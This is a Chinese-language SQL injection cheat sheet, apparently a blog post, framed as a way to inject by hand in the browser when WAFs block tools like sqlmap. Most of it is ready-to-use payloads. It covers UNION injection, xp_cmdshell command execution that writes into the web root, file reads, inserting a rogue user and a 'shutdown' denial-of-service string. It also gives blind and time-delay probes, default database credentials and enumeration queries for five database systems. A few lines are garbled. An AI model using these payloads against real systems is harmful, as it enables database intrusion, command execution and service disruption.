0x00 前言

     現在很多WAF都能攔截sqlmap、havij 等注入工具的發包注入，所以這時我們需要在瀏覽器上使用hackerbar 進行手工注入，或者說是手工繞過注入攻擊

0x01 發現SQL 注入

1 查詢語法中斷：單引號(  ‘  ), 雙引號( “  )

2 SQL註釋注入：雙連字元  (-- ), 雜湊 (# ), 註釋( /* )

3 擴充套件/附加查詢： 分號 (  ;  )

4 注射/繞過過濾器：使用 CHAR(), ASCII(), HEX(), CONCAT(), CAST(), CONVERT(), NULL  來轉換上面的注入字元

0x02 常用的SQL注入命令

1 Union注入：Union all select NULL (Multiple columns)

2 命令執行：1;exec master..xp_cmdshell ‘dir’>C:\inetpub\wwwroot\dir.txt’ OR master.dbo.xp_cmdshell

3 載入檔案：LOAD_FILE(), User UTL_FILE and utfReadfileAsTable

4 新增使用者：1’; insert into users values(‘nto’,’nto123’)

5 DOS攻擊：1’;shutdown –

6 獲取欄位： select name from syscolumns where id =(select id FROM sysobjects where name = ‘target table name’) – (Union can help)Co

0x02 常用的SQL盲注命令

1 快速檢測：AND 1=1, AND 1=0

2 查詢使用者：1+AND+USER_NAME()=’dbo’

3 延時注入：1;waitfor+delay+’0:0:10’

4 檢查SA使用者：SELECT+ASCII(SUBSTRING((a.loginame),1,1))[email protected]@SPID)=115

5 跳轉/休眠：BENCHMARK(TIMES, TASK), pg_sleep(10)

0x03 資料庫的預設使用者名稱

Oracle                  scott/tiger, dbsnmp/dbsnmp
MySQL                  mysql/<BLANK>, root/<BLANK>
PostgreSQL        postgres/<BLANK>
MS-SQL               sa/<BLANK>
DB2                     db2admin/db2admin

0x04 常見的後臺資料庫SQL注入命令

1 MySQL

Grab                              @@version
Users                            * from mysql.user
Tables                         table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Database                    distinct(db) FROM mysql.db
Columns                    table_schema, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ AND table_name == ‘<TABLENAME>’
Running User               user()

2 MS-SQL
Grab version           @@version
Users                      name FROM master..syslogins
Tables                     name FROM master..sysobjects WHERE xtype = ‘U’
Database                name FROM master..sysdatabases;
Columns                name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘<TABLENAME’)
Running User        DB_NAME()

3 Oracle
Grab  version          table v$version compare with ‘Oracle%’
Users                      * from dba_users
Tables                      table_name from all_tables
Database                distinct owner from all_tables
Columns                 column_name from all_tab_columns where table_name=‘<TABLENAME>
Running User        user from dual

4 IBM DB2
Grab version          Versionnumber from sysibm.sysversions;
Users                      user from sysibm.sysdummy1
Tables                    name from sysibm.systables
Database               schemaname from syscat.schemata
Columns                name, tbname, coltype from sysibm.syscolumns
Running User        user from sysibm.sysdummy1

5 PostgreSQL
Grab version           version()
Users                     * from pg_user
Database                datname FROM pg_database
Running User         user;